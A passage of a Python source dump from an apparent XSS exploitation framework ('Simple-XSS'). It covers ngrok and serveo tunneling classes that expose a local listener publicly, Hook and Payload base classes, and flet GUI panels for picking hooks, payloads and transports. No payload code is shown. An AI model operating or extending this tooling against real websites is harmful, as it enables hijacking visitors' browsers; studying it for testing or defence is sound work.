public_url=change_protocol(public_url, schema) 48 | ) 49 | 50 | async def run(self, protocol: str, port: int) -> BaseSession: 51 | if protocol not in self.PROTOCOLS: 52 | raise ValueError(f'Protocol {protocol} not supported') 53 | 54 | validate_port(port, raise_exceptions=True) 55 | return await self._create_session(port=port, protocol=protocol) 56 | 57 | async def stop(self, session: BaseSession): 58 | ngrok.disconnect(session.public_url) 59 | ngrok.kill() 60 | logger.debug(f'Tunnel is down: localhost:{session.port} -> {session.public_url}') 61 | -------------------------------------------------------------------------------- /simplexss/core/tunneling/ngrok/sessions.py: -------------------------------------------------------------------------------- 1 | from dataclasses import dataclass 2 | 3 | from ..types import ( 4 | BaseSession, 5 | ) 6 | 7 | 8 | @dataclass 9 | class NgrokSession(BaseSession): 10 | pass 11 | -------------------------------------------------------------------------------- /simplexss/core/tunneling/serveo/__init__.py: -------------------------------------------------------------------------------- 1 | from .services import ServeoService 2 | 3 | __all__ = [ 4 | 'ServeoService', 5 | ] 6 | -------------------------------------------------------------------------------- /simplexss/core/tunneling/serveo/services.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import subprocess 3 | 4 | from simplexss.core.logging import logger 5 | from simplexss.utils.network import ( 6 | change_protocol, 7 | validate_port, 8 | ) 9 | 10 | from .sessions import ServeoSession 11 | from ..types import ( 12 | BaseTunnelingService, 13 | BaseSession, 14 | ) 15 | from ..exceptions import ( 16 | TunnelingError 17 | ) 18 | 19 | 20 | class ServeoService(BaseTunnelingService): 21 | NAME = 'serveo' 22 | PROTOCOLS = { 23 | 'http', 24 | } 25 | PROTOCOL_SCHEMAS = { 26 | 'http': 'https' 27 | } 28 | 29 | def __init__(self): 30 | self._processes = {} 31 | 32 | async def _create_tunnel(self, port: int) -> str: 33 | command = f'ssh -R 80:localhost:{port} serveo.net' 34 | process = subprocess.Popen( 35 | command, 36 | stderr=subprocess.PIPE, 37 | stdout=subprocess.PIPE, 38 | shell=False 39 | ) 40 | await asyncio.sleep(3) 41 | try: 42 | out = process.stdout.readline().decode('utf-8').strip() 43 | public_url = out.split(' from ')[1] 44 | self._processes.update({public_url: process}) 45 | logger.debug(f'Tunnel is up: localhost:{port} -> {public_url}') 46 | except Exception as e: 47 | logger.error(f'Failed to open tunnel: {e.__class__.__name__}: {e}') 48 | raise TunnelingError(f'Failed to open tunnel: {e.__class__.__name__}: {e}') 49 | 50 | return public_url 51 | 52 | async def _create_session(self, port: int, protocol: str) -> BaseSession: 53 | 54 | schema = self.PROTOCOL_SCHEMAS[protocol] 55 | public_url = await self._create_tunnel(port=port) 56 | return ServeoSession( 57 | protocol=protocol, 58 | port=port, 59 | public_url=change_protocol(public_url, schema) 60 | ) 61 | 62 | async def run(self, protocol: str, port: int) -> BaseSession: 63 | if protocol not in self.PROTOCOLS: 64 | raise ValueError(f'Protocol {protocol} not supported') 65 | 66 | validate_port(port=port, raise_exceptions=True) 67 | 68 | return await self._create_session(port=port, protocol=protocol) 69 | 70 | async def stop(self, session: BaseSession): 71 | process = self._processes.pop(session.public_url, None) 72 | if process is not None: 73 | process.kill() 74 | logger.debug(f'Tunnel is down: localhost:{session.port} -> {session.public_url}') 75 | -------------------------------------------------------------------------------- /simplexss/core/tunneling/serveo/sessions.py: -------------------------------------------------------------------------------- 1 | from dataclasses import dataclass 2 | 3 | from ..types import ( 4 | BaseSession, 5 | ) 6 | 7 | 8 | @dataclass 9 | class ServeoSession(BaseSession): 10 | pass 11 | -------------------------------------------------------------------------------- /simplexss/core/tunneling/types.py: -------------------------------------------------------------------------------- 1 | from abc import ( 2 | ABC, 3 | abstractmethod 4 | ) 5 | from typing import ( 6 | Iterable, 7 | Container 8 | ) 9 | 10 | from dataclasses import dataclass 11 | 12 | 13 | @dataclass 14 | class BaseSession: 15 | protocol: str 16 | port: int 17 | public_url: str 18 | 19 | 20 | class BaseTunnelingService(ABC): 21 | NAME: str 22 | PROTOCOLS: Container[str] = () 23 | 24 | @abstractmethod 25 | async def run(self, protocol: str, port: int) -> BaseSession: ... 26 | 27 | @abstractmethod 28 | async def stop(self, session: BaseSession): ... 29 | 30 | 31 | class BaseTunnelingServiceFactory(ABC): 32 | @abstractmethod 33 | def create(self, name: str) -> BaseTunnelingService: ... 34 | 35 | @abstractmethod 36 | def get_service(self, name: str) -> type[BaseTunnelingService] | None: ... 37 | 38 | @abstractmethod 39 | def get_names(self, protocol: str) -> Iterable[str]: ... 40 | -------------------------------------------------------------------------------- /simplexss/core/types.py: -------------------------------------------------------------------------------- 1 | from typing import Container 2 | from abc import ( 3 | ABC, 4 | abstractmethod 5 | ) 6 | 7 | from simplexss.core.io import BaseIOManagerAPI 8 | from simplexss.core.transports import BaseTransportAPI 9 | from simplexss.core.data import Environment 10 | from simplexss.utils.packages import Package 11 | 12 | 13 | class BaseCore(ABC): 14 | @abstractmethod 15 | async def run(self): ... 16 | 17 | 18 | class BaseHook(Package, ABC): 19 | TRANSPORTS: Container[str] = set() 20 | io: BaseIOManagerAPI = None 21 | environment: Environment = None 22 | 23 | @property 24 | @abstractmethod 25 | def hook(self) -> str: ... 26 | 27 | def bind_dependencies(self, **deps): 28 | self.io = deps.get('io') 29 | self.environment = deps.get('env') 30 | 31 | 32 | class BasePayload(Package): 33 | transport: BaseTransportAPI = None 34 | io: BaseIOManagerAPI = None 35 | environment: Environment = None 36 | 37 | @property 38 | @abstractmethod 39 | def payload(self) -> str: ... 40 | 41 | def bind_dependencies(self, **deps): 42 | self.transport = deps.get('transport') 43 | self.io = deps.get('io') 44 | self.environment = deps.get('env') 45 | 46 | def bind_endpoints(self): 47 | pass 48 | 49 | 50 | class BasePlugin(Package): 51 | pass 52 | -------------------------------------------------------------------------------- /simplexss/core/ui/__init__.py: -------------------------------------------------------------------------------- 1 | from .types import ( 2 | BaseUI, 3 | BaseUIFactory 4 | ) 5 | 6 | from .factories import ( 7 | UIFactory, 8 | ) 9 | 10 | __all__ = [ 11 | 'BaseUI', 12 | 'BaseUIFactory', 13 | 'UIFactory', 14 | ] 15 | -------------------------------------------------------------------------------- /simplexss/core/ui/channels.py: -------------------------------------------------------------------------------- 1 | from simplexss.utils.events import ( 2 | EventChannel, 3 | AsyncEvent, 4 | Event 5 | ) 6 | 7 | 8 | class UIChannel(EventChannel): 9 | ui_initialized = Event() 10 | ui_terminated = AsyncEvent() 11 | 12 | process_launched = AsyncEvent() 13 | process_terminated = AsyncEvent() 14 | 15 | show_error = AsyncEvent(required_kwargs=('error',)) 16 | -------------------------------------------------------------------------------- /simplexss/core/ui/cli/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/simplexss/core/ui/cli/__init__.py -------------------------------------------------------------------------------- /simplexss/core/ui/cli/cli.py: -------------------------------------------------------------------------------- 1 | from simplexss.core.schemas import ( 2 | ArgumentsSchema, 3 | SettingsSchema 4 | ) 5 | from simplexss.core.containers import CoreContainer 6 | from simplexss.core.logging import logger 7 | from simplexss.utils.di import inject 8 | from ..types import BaseUI 9 | from ..channels import UIChannel 10 | 11 | 12 | class CLI(BaseUI): 13 | mode = 'cli' 14 | 15 | @inject 16 | def __init__( 17 | self, 18 | arguments: ArgumentsSchema = CoreContainer.arguments, 19 | settings: SettingsSchema = CoreContainer.settings 20 | ): 21 | self._arguments: ArgumentsSchema = arguments 22 | self._settings: SettingsSchema = settings 23 | 24 | logger.info('CLI initialized') 25 | UIChannel.ui_initialized.publish() 26 | 27 | async def run(self): 28 | pass 29 | -------------------------------------------------------------------------------- /simplexss/core/ui/contexts.py: -------------------------------------------------------------------------------- 1 | from dataclasses import dataclass 2 | 3 | from simplexss.core.schemas import ( 4 | SettingsSchema, 5 | ArgumentsSchema, 6 | ) 7 | 8 | 9 | @dataclass 10 | class UIContext: 11 | settings: SettingsSchema 12 | arguments: ArgumentsSchema 13 | process_running: bool = False 14 | hook: str = None 15 | -------------------------------------------------------------------------------- /simplexss/core/ui/factories.py: -------------------------------------------------------------------------------- 1 | from simplexss.utils.clsutils import iter_subclasses 2 | from .types import ( 3 | BaseUI, 4 | BaseUIFactory 5 | ) 6 | 7 | 8 | class UIFactory(BaseUIFactory): 9 | def create(self, mode: str) -> BaseUI: 10 | ui = self.get_ui(mode=mode) 11 | if ui is None: 12 | raise ValueError(f'UI not found: {mode}') 13 | return ui() 14 | 15 | def get_ui(self, mode: str) -> type[BaseUI] | None: 16 | for ui in iter_subclasses(BaseUI): 17 | if ui.mode == mode: 18 | return ui 19 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/__init__.py: -------------------------------------------------------------------------------- 1 | from .gui import GUI 2 | 3 | __all__ = [ 4 | 'GUI', 5 | ] 6 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/banners/__init__.py: -------------------------------------------------------------------------------- 1 | from .error import ErrorBanner 2 | from .warning import WarningBanner 3 | 4 | __all__ = [ 5 | 'ErrorBanner', 6 | 'WarningBanner', 7 | ] 8 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/banners/basic.py: -------------------------------------------------------------------------------- 1 | import flet as ft 2 | 3 | from .enums import Messages 4 | from ..types import BaseBanner 5 | 6 | 7 | class BannerBasicFunctionality(BaseBanner): 8 | TEXT_COLOR = None 9 | BG_COLOR = None 10 | ICON = None 11 | ICON_COLOR = None 12 | 13 | def __init__(self): 14 | super(BannerBasicFunctionality, self).__init__( 15 | bgcolor=self.BG_COLOR, 16 | leading=ft.Icon(self.ICON, color=self.ICON_COLOR, size=40), actions=[ 17 | ft.TextButton(Messages.OK, style=ft.ButtonStyle(color=self.TEXT_COLOR), on_click=self._hide), 18 | ], 19 | ) 20 | 21 | async def _hide(self, _): 22 | await self.hide() 23 | 24 | async def show(self, page: ft.Page, message: str): 25 | page.banner = self 26 | self.content = ft.Text(message, color=self.TEXT_COLOR, selectable=True) 27 | page.banner.open = True 28 | await page.update_async() 29 | 30 | async def hide(self): 31 | self.open = False 32 | await self.update_async() 33 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/banners/constants.py: -------------------------------------------------------------------------------- 1 | import flet as ft 2 | 3 | # Warning banner 4 | WARNING_BANNER_TEXT_COLOR = ft.colors.RED 5 | WARNING_BANNER_ICON_COLOR = ft.colors.AMBER 6 | WARNING_BANNER_BG_COLOR = ft.colors.AMBER_100 7 | WARNING_BANNER_ICON = ft.icons.WARNING_AMBER_ROUNDED 8 | 9 | # Error banner 10 | ERROR_BANNER_TEXT_COLOR = ft.colors.RED 11 | ERROR_BANNER_ICON_COLOR = ft.colors.RED 12 | ERROR_BANNER_BG_COLOR = ft.colors.AMBER_100 13 | ERROR_BANNER_ICON = ft.icons.ERROR_ROUNDED 14 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/banners/enums.py: -------------------------------------------------------------------------------- 1 | from i18n import TranslatableEnum 2 | 3 | 4 | class Messages(TranslatableEnum): 5 | OK = 'Ok' 6 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/banners/error.py: -------------------------------------------------------------------------------- 1 | from .basic import BannerBasicFunctionality 2 | from .constants import ( 3 | ERROR_BANNER_TEXT_COLOR, 4 | ERROR_BANNER_BG_COLOR, 5 | ERROR_BANNER_ICON, 6 | ERROR_BANNER_ICON_COLOR 7 | ) 8 | 9 | 10 | class ErrorBanner(BannerBasicFunctionality): 11 | TEXT_COLOR = ERROR_BANNER_TEXT_COLOR 12 | BG_COLOR = ERROR_BANNER_BG_COLOR 13 | ICON = ERROR_BANNER_ICON 14 | ICON_COLOR = ERROR_BANNER_ICON_COLOR 15 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/banners/warning.py: -------------------------------------------------------------------------------- 1 | from .basic import BannerBasicFunctionality 2 | from .constants import ( 3 | WARNING_BANNER_ICON, 4 | WARNING_BANNER_ICON_COLOR, 5 | WARNING_BANNER_BG_COLOR, 6 | WARNING_BANNER_TEXT_COLOR 7 | ) 8 | 9 | 10 | class WarningBanner(BannerBasicFunctionality): 11 | TEXT_COLOR = WARNING_BANNER_TEXT_COLOR 12 | BG_COLOR = WARNING_BANNER_BG_COLOR 13 | ICON = WARNING_BANNER_ICON 14 | ICON_COLOR = WARNING_BANNER_ICON_COLOR 15 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/channels.py: -------------------------------------------------------------------------------- 1 | from simplexss.utils.events import ( 2 | EventChannel, 3 | AsyncEvent, 4 | Event 5 | ) 6 | 7 | 8 | class GUIChannel(EventChannel): 9 | need_update = AsyncEvent() 10 | process_launched = AsyncEvent() 11 | process_terminated = AsyncEvent() 12 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/components/__init__.py: -------------------------------------------------------------------------------- 1 | from .main import MainBox 2 | from .network import NetworkBox 3 | from .hook import HookBox 4 | from .payload import PayloadBox 5 | from .process import ProcessControlBox 6 | from .message import ( 7 | MessageAreaBox, 8 | MessageControlBox, 9 | ) 10 | 11 | __all__ = [ 12 | 'MainBox', 13 | 'MessageAreaBox', 14 | 'MessageControlBox', 15 | 'NetworkBox', 16 | 'HookBox', 17 | 'PayloadBox', 18 | 'ProcessControlBox' 19 | ] 20 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/components/constants.py: -------------------------------------------------------------------------------- 1 | import flet as ft 2 | 3 | from simplexss.core.io import Color 4 | 5 | # Box 6 | BOX_BORDER_RADIUS = 5 7 | BOX_BORDER = ft.border.all(1, ft.colors.OUTLINE) 8 | BOX_PADDING = 15 9 | 10 | # Text 11 | TEXT_FONT_SIZE = 20 12 | DESCRIPTION_MAX_LINES = 3 13 | INVALID_TEXT_COLOR = ft.colors.RED 14 | 15 | # Icons 16 | ICON_SIZE = 35 17 | 18 | # Messages 19 | MESSAGE_SPACING = 5 20 | MESSAGE_FONT_SIZE = 15 21 | 22 | COLOR_TABLE = { 23 | Color.DEFAULT: ft.colors.WHITE, 24 | Color.RED: ft.colors.RED, 25 | Color.GREEN: ft.colors.GREEN, 26 | Color.BLUE: ft.colors.BLUE, 27 | } 28 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/components/enums.py: -------------------------------------------------------------------------------- 1 | from i18n import TranslatableEnum 2 | 3 | 4 | class Messages(TranslatableEnum): 5 | NETWORK = 'Network' 6 | USE_TUNNELLING_SERVICE = 'Use Tunnelling Service' 7 | PUBLIC_URL = 'Public URL' 8 | HOST = 'Host' 9 | PORT = 'Port' 10 | PAYLOAD = 'Payload' 11 | HOOK = 'Hook' 12 | RUN = 'Run' 13 | STOP = 'Stop' 14 | COPY = 'Copy' 15 | MESSAGE = 'Message' 16 | SEND = 'Send' 17 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/components/hook.py: -------------------------------------------------------------------------------- 1 | import flet as ft 2 | 3 | from simplexss.core.schemas import SettingsSchema 4 | from simplexss.core.transports import BaseTransportServiceFactory 5 | from simplexss.utils.packages import PackageManager 6 | from .constants import ( 7 | DESCRIPTION_MAX_LINES, 8 | TEXT_FONT_SIZE, 9 | BOX_BORDER_RADIUS, 10 | BOX_BORDER, 11 | BOX_PADDING 12 | ) 13 | from .enums import Messages 14 | from ..exceptions import ValidationError 15 | from ..types import ( 16 | BaseComponent, 17 | ) 18 | 19 | 20 | class HookBox(BaseComponent): 21 | def __init__( 22 | self, 23 | manager: PackageManager, 24 | transport_factory: BaseTransportServiceFactory, 25 | ): 26 | self._transport_factory = transport_factory 27 | self._manager = manager 28 | self._hook_name_text = ft.Text( 29 | value=Messages.HOOK, 30 | size=TEXT_FONT_SIZE, 31 | expand=True, 32 | text_align=ft.TextAlign.CENTER 33 | ) 34 | self._hook_dropdown = ft.Dropdown( 35 | expand=True, 36 | border_color=ft.colors.OUTLINE, 37 | on_change=self._handle_change_hook 38 | 39 | ) 40 | 41 | self._hook_description_text = ft.Text( 42 | visible=True, 43 | max_lines=DESCRIPTION_MAX_LINES, 44 | overflow=ft.TextOverflow.ELLIPSIS 45 | ) 46 | self._hook_author_text = ft.Text( 47 | text_align=ft.TextAlign.RIGHT, 48 | italic=True 49 | ) 50 | self._container = ft.Container( 51 | border=BOX_BORDER, 52 | border_radius=BOX_BORDER_RADIUS, 53 | padding=BOX_PADDING, 54 | content=ft.Column( 55 | controls=[ 56 | ft.Row( 57 | controls=[ 58 | self._hook_name_text 59 | ] 60 | ), 61 | ft.Row( 62 | controls=[ 63 | self._hook_dropdown, 64 | ] 65 | ), 66 | self._hook_description_text, 67 | ft.Container( 68 | content=self._hook_author_text, 69 | alignment=ft.alignment.bottom_right, 70 | 71 | ) 72 | ] 73 | ) 74 | ) 75 | 76 | async def _handle_change_hook(self, e): 77 | await self.update_async() 78 | 79 | def _update_hook_options(self): 80 | options = [ 81 | hook.NAME 82 | for hook in self._manager.packages 83 | if self.context.settings.transport.current in hook.TRANSPORTS 84 | ] 85 | self._hook_dropdown.options = [ 86 | ft.dropdown.Option(option) 87 | for option in options 88 | ] 89 | if self._hook_dropdown.value not in options: 90 | self._hook_dropdown.value = None 91 | 92 | def _update_hook_info(self): 93 | self._hook_author_text.value = f'' 94 | self._hook_description_text.value = '' 95 | 96 | hook = self._manager.get_package(self._hook_dropdown.value) 97 | 98 | if hook is not None: 99 | self._hook_author_text.value = f'@{hook.AUTHOR}' 100 | self._hook_description_text.value = str(hook.DESCRIPTION) 101 | 102 | async def _update_container(self): 103 | self._container.disabled = self.context.process_running 104 | await self._container.update_async() 105 | 106 | async def setup_async(self): 107 | self._hook_dropdown.value = self.context.settings.hook.current 108 | 109 | await self.update_async() 110 | 111 | async def update_async(self): 112 | self._update_hook_options() 113 | 114 | self._update_hook_info() 115 | 116 | await self._update_container() 117 | 118 | async def validate_async(self): 119 | if self._hook_dropdown.value is None: 120 | raise ValidationError('Please choose hook') 121 | 122 | async def save_async(self): 123 | self.context.settings.hook.current = self._hook_dropdown.value 124 | 125 | def build(self): 126 | return self._container 127 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/components/main.py: -------------------------------------------------------------------------------- 1 | import flet as ft 2 | 3 | from ..types import BaseComponent 4 | 5 | 6 | class MainBox(BaseComponent): 7 | def __init__( 8 | self, 9 | network_box: BaseComponent, 10 | hook_box: BaseComponent, 11 | payload_box: BaseComponent, 12 | process_control_box: BaseComponent, 13 | message_area_box: BaseComponent, 14 | message_control_box: BaseComponent, 15 | ): 16 | self._network_box = network_box 17 | self._hook_box = hook_box 18 | self._payload_box = payload_box 19 | self._process_control_box = process_control_box 20 | self._message_area_box = message_area_box 21 | self._message_control_box = message_control_box 22 | 23 | def build(self): 24 | return ft.Row( 25 | expand=True, 26 | controls=[ 27 | ft.Column( 28 | expand=True, 29 | controls=[ 30 | self._network_box.build(), 31 | self._hook_box.build(), 32 | self._payload_box.build(), 33 | self._process_control_box.build() 34 | ] 35 | ), 36 | ft.Column( 37 | expand=True, 38 | controls=[ 39 | self._message_area_box.build(), 40 | self._message_control_box.build() 41 | ] 42 | ) 43 | ] 44 | ) 45 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/components/message.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | 3 | import flet as ft 4 | 5 | from simplexss.core.io import ( 6 | BaseIOManagerAPI, 7 | Color 8 | ) 9 | from .constants import ( 10 | MESSAGE_SPACING, 11 | BOX_BORDER, 12 | BOX_BORDER_RADIUS, 13 | BOX_PADDING, 14 | MESSAGE_FONT_SIZE, 15 | ICON_SIZE, 16 | COLOR_TABLE 17 | ) 18 | from .enums import Messages 19 | from ..types import BaseComponent 20 | 21 | 22 | class MessageAreaBox(BaseComponent): 23 | def __init__(self, io_manager: BaseIOManagerAPI): 24 | self._io_manager = io_manager 25 | self._io_manager.add_sink(self._sink) 26 | self._message_list_view = ft.ListView( 27 | expand=True, 28 | spacing=MESSAGE_SPACING, 29 | auto_scroll=True, 30 | ) 31 | self._content = ft.Row( 32 | expand=True, 33 | controls=[ 34 | ft.Container( 35 | content=self._message_list_view, 36 | border=BOX_BORDER, 37 | border_radius=BOX_BORDER_RADIUS, 38 | padding=BOX_PADDING, 39 | expand=True, 40 | ) 41 | ] 42 | ) 43 | 44 | async def _add_text(self, text: ft.Text): 45 | self._message_list_view.controls.append(text) 46 | await self._message_list_view.update_async() 47 | 48 | async def _sink(self, message: str, color: Color): 49 | await self._add_text( 50 | ft.Text( 51 | message, 52 | selectable=True, 53 | color=COLOR_TABLE.get(color if isinstance(color, str) else color, COLOR_TABLE[Color.DEFAULT]), 54 | size=MESSAGE_FONT_SIZE 55 | ) 56 | ) 57 | 58 | async def update_async(self): 59 | self._content.disabled = not self.context.process_running 60 | await self._content.update_async() 61 | 62 | def build(self): 63 | return self._content 64 | 65 | 66 | class MessageControlBox(BaseComponent): 67 | def __init__(self, io_manager: BaseIOManagerAPI): 68 | self._io_manager = io_manager 69 | self._io_manager.set_source(self._source) 70 | self._input_field = ft.TextField( 71 | expand=True, 72 | border_color=ft.colors.OUTLINE, 73 | hint_text=Messages.MESSAGE, 74 | disabled=True 75 | ) 76 | self._send_button = ft.IconButton( 77 | icon=ft.icons.SEND, 78 | icon_size=ICON_SIZE, 79 | icon_color=ft.colors.BLUE_200, 80 | tooltip=Messages.SEND, 81 | disabled=True, 82 | on_click=self._handle_send 83 | ) 84 | self._content = ft.Row( 85 | controls=[ 86 | self._input_field, 87 | self._send_button 88 | ] 89 | ) 90 | 91 | self._text_entered = False 92 | self._text = None 93 | 94 | async def _handle_send(self, e): 95 | self._text_entered = True 96 | self._text = self._input_field.value 97 | 98 | async def _source(self, prompt: str, color: Color): 99 | self._input_field.hint_text = prompt 100 | self._input_field.disabled = False 101 | self._send_button.disabled = False 102 | self._text_entered = False 103 | 104 | await self.update_async() 105 | 106 | while not self._text_entered: 107 | await asyncio.sleep(0.1) 108 | 109 | self._input_field.hint_text = Messages.MESSAGE 110 | self._input_field.disabled = True 111 | self._send_button.disabled = True 112 | self._input_field.value = None 113 | 114 | await self.update_async() 115 | 116 | await self._io_manager.print(f'{prompt}: {self._text}', color=color) 117 | 118 | return self._text 119 | 120 | async def update_async(self): 121 | await self._content.update_async() 122 | 123 | def build(self): 124 | return self._content 125 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/components/network.py: -------------------------------------------------------------------------------- 1 | import flet as ft 2 | 3 | from simplexss.core.transports import BaseTransportServiceFactory 4 | from simplexss.core.tunneling import BaseTunnelingServiceFactory 5 | from simplexss.utils.network import ( 6 | validate_port, 7 | validate_host, 8 | validate_url 9 | ) 10 | from .enums import Messages 11 | from .constants import ( 12 | TEXT_FONT_SIZE, 13 | BOX_BORDER, 14 | BOX_BORDER_RADIUS, 15 | BOX_PADDING, 16 | ) 17 | from ..exceptions import ValidationError 18 | from ..channels import GUIChannel 19 | from ..types import ( 20 | BaseComponent, 21 | ) 22 | 23 | 24 | class NetworkBox(BaseComponent): 25 | def __init__( 26 | self, 27 | tunneling_factory: BaseTunnelingServiceFactory, 28 | transport_factory: BaseTransportServiceFactory, 29 | ): 30 | self._tunneling_factory = tunneling_factory 31 | self._transport_factory = transport_factory 32 | 33 | self._box_name_text = ft.Text( 34 | value=Messages.NETWORK, 35 | size=TEXT_FONT_SIZE, 36 | expand=True, 37 | text_align=ft.TextAlign.CENTER 38 | ) 39 | self._transport_dropdown = ft.Dropdown( 40 | expand=True, 41 | border_color=ft.colors.OUTLINE, 42 | on_change=self._handle_transport_change 43 | ) 44 | 45 | self._tunneling_dropdown = ft.Dropdown( 46 | expand=True, 47 | border_color=ft.colors.OUTLINE, 48 | ) 49 | self._host_field = ft.TextField( 50 | visible=True, 51 | expand=True, 52 | border_color=ft.colors.OUTLINE, 53 | hint_text=Messages.HOST, 54 | on_change=self._handle_host_change 55 | ) 56 | 57 | self._port_field = ft.TextField( 58 | visible=True, 59 | width=100, 60 | border_color=ft.colors.OUTLINE, 61 | hint_text=Messages.PORT, 62 | on_change=self._handle_port_change 63 | ) 64 | self._public_url_field = ft.TextField( 65 | expand=True, 66 | border_color=ft.colors.OUTLINE, 67 | hint_text=Messages.PUBLIC_URL, 68 | on_change=self._handle_url_change 69 | ) 70 | 71 | self._use_tunneling_checkbox = ft.Checkbox( 72 | label=Messages.USE_TUNNELLING_SERVICE, 73 | on_change=self._handle_checkbox_change 74 | ) 75 | 76 | self._container = ft.Container( 77 | border=BOX_BORDER, 78 | border_radius=BOX_BORDER_RADIUS, 79 | padding=BOX_PADDING, 80 | content=ft.Column( 81 | scroll=ft.ScrollMode.AUTO, 82 | controls=[ 83 | ft.Row( 84 | controls=[ 85 | self._box_name_text 86 | ] 87 | ), 88 | 89 | ft.Row( 90 | controls=[ 91 | self._transport_dropdown 92 | ] 93 | ), 94 | ft.Row( 95 | controls=[ 96 | self._host_field, 97 | self._port_field 98 | ] 99 | ), 100 | ft.Divider(), 101 | ft.Row( 102 | controls=[ 103 | self._use_tunneling_checkbox 104 | ] 105 | ), 106 | 107 | ft.Row( 108 | controls=[ 109 | self._tunneling_dropdown, 110 | self._public_url_field 111 | ] 112 | ) 113 | 114 | ] 115 | ), 116 | expand=True 117 | ) 118 | 119 | async def _handle_checkbox_change(self, e): 120 | self.context.settings.tunneling.use = self._use_tunneling_checkbox.value 121 | await self.update_async() 122 | 123 | async def _handle_transport_change(self, e): 124 | self.context.settings.transport.current = self._transport_dropdown.value 125 | await GUIChannel.need_update.publish_async() 126 | 127 | async def _handle_tunneling_change(self, e): 128 | self.context.settings.tunneling.current = self._tunneling_dropdown.value 129 | await GUIChannel.need_update.publish_async() 130 | 131 | async def _handle_host_change(self, e): 132 | valid = validate_host(self._host_field.value) 133 | 134 | self._host_field.color = ft.colors.RED if not valid else None 135 | 136 | await self._host_field.update_async() 137 | 138 | async def _handle_port_change(self, e): 139 | port = self._port_field.value 140 | 141 | valid = port.isdigit() and validate_port(int(port)) 142 | 143 | self._port_field.color = ft.colors.RED if not valid else None 144 | 145 | await self._port_field.update_async() 146 | 147 | async def _handle_url_change(self, e): 148 | url = self._public_url_field.value 149 | 150 | valid = validate_url(url) 151 | 152 | self._public_url_field.color = ft.colors.RED if not valid else None 153 | 154 | await self._public_url_field.update_async() 155 | 156 | async def _update_container(self): 157 | self._container.disabled = self.context.process_running 158 | await self._container.update_async() 159 | 160 | def _update_transport_options(self): 161 | self._transport_dropdown.options = [ 162 | ft.dropdown.Option(option) 163 | for option in self._transport_factory.get_names() 164 | ] 165 | 166 | def _update_tunneling_options(self): 167 | use_tunneling = self._use_tunneling_checkbox.value 168 | self._tunneling_dropdown.visible = use_tunneling 169 | self._public_url_field.visible = not use_tunneling 170 | 171 | transport = self._transport_factory.get_service(self._transport_dropdown.value) 172 | 173 | if transport is not None: 174 | self._tunneling_dropdown.options = [ 175 | ft.dropdown.Option(option) 176 | for option in self._tunneling_factory.get_names(transport.PROTOCOL) 177 | ] 178 | 179 | self._tunneling_dropdown.value = self.context.settings.tunneling.current 180 | 181 | async def setup_async(self): 182 | use_tunneling = self.context.settings.tunneling.use 183 | self._use_tunneling_checkbox.value = use_tunneling 184 | self._tunneling_dropdown.visible = use_tunneling 185 | self._public_url_field.visible = not use_tunneling 186 | self._public_url_field.value = self.context.settings.tunneling.public_url 187 | 188 | self._host_field.value = self.context.settings.transport.host 189 | self._port_field.value = str(self.context.settings.transport.port) 190 | 191 | self._transport_dropdown.value = self.context.settings.transport.current 192 | await self.update_async() 193 | 194 | async def update_async(self): 195 | self._update_transport_options() 196 | self._update_tunneling_options() 197 | 198 | await self._update_container() 199 | 200 | async def validate_async(self): 201 | if self._transport_dropdown.value is None: 202 | raise ValidationError('Please choose transport') 203 | 204 | host = self._host_field.value 205 | port = self._port_field.value 206 | 207 | if not port.isdigit() or not validate_port(int(port)): 208 | raise ValidationError('Invalid port') 209 | 210 | if not validate_host(host): 211 | raise ValidationError('Invalid host') 212 | 213 | async def save_async(self): 214 | self.context.settings.transport.current = self._transport_dropdown.value 215 | self.context.settings.transport.port = int(self._port_field.value) 216 | self.context.settings.transport.host = self._host_field.value 217 | self.context.settings.tunneling.current = self._tunneling_dropdown.value 218 | self.context.settings.tunneling.public_url = self._public_url_field.value 219 | 220 | def build(self): 221 | return self._container 222 | -------------------------------------------------------------------------------- /simplexss/core/ui/gui/components/payload.py: -------------------------------------------------------------------------------- 1 | import flet as ft 2 | 3 | from simplexss.core.schemas import SettingsSchema 4 | from simplexss.utils.packages import PackageManager 5 | from .constants import ( 6 | BOX_BORDER, 7 | BOX_BORDER_RADIUS, 8 | BOX_PADDING, 9 | DESCRIPTION_MAX_LINES, 10 | TEXT_FONT_SIZE 11 | ) 12 | from .enums import Messages 13 | from ..exceptions import ValidationError 14 | from ..types import ( 15 | BaseComponent, 16 | ) 17 | 18 | 19 | class PayloadBox(BaseComponent): 20 | def __init__(self, manager: PackageManager): 21 | self._manager = manager 22 | 23 | self._payload_name_text = ft.Text( 24 | value=Messages.PAYLOAD, 25 | size=TEXT_FONT_SIZE, 26 | expand=True, 27 | text_align=ft.TextAlign.CENTER 28 | ) 29 | self._payload_dropdown = ft.Dropdown( 30 | expand=True, 31 | border_color=ft.colors.OUTLINE, 32 | on_change=self._handle_change_payload 33 | 34 | ) 35 | self._payload_description_text = ft.Text( 36 | visible=True, 37 | max_lines=DESCRIPTION_MAX_LINES, 38 | overflow=ft.TextOverflow.ELLIPSIS 39 | ) 40 | self._payload_author_text = ft.Text( 41 | text_align=ft.TextAlign.RIGHT, 42 | italic=True 43 | ) 44 | 45 | self._container = ft.Container( 46 | border=BOX_BORDER, 47 | border_radius=BOX_BORDER_RADIUS, 48 | padding=BOX_PADDING, 49 | content=ft.Column( 50 | controls=[ 51 | ft.Row( 52 | controls=[ 53 | self._payload_name_text 54 | ] 55 | ), 56 | ft.Row( 57 | controls=[ 58 | self._payload_dropdown, 59 | ] 60 | ), 61 | self._payload_description_text, 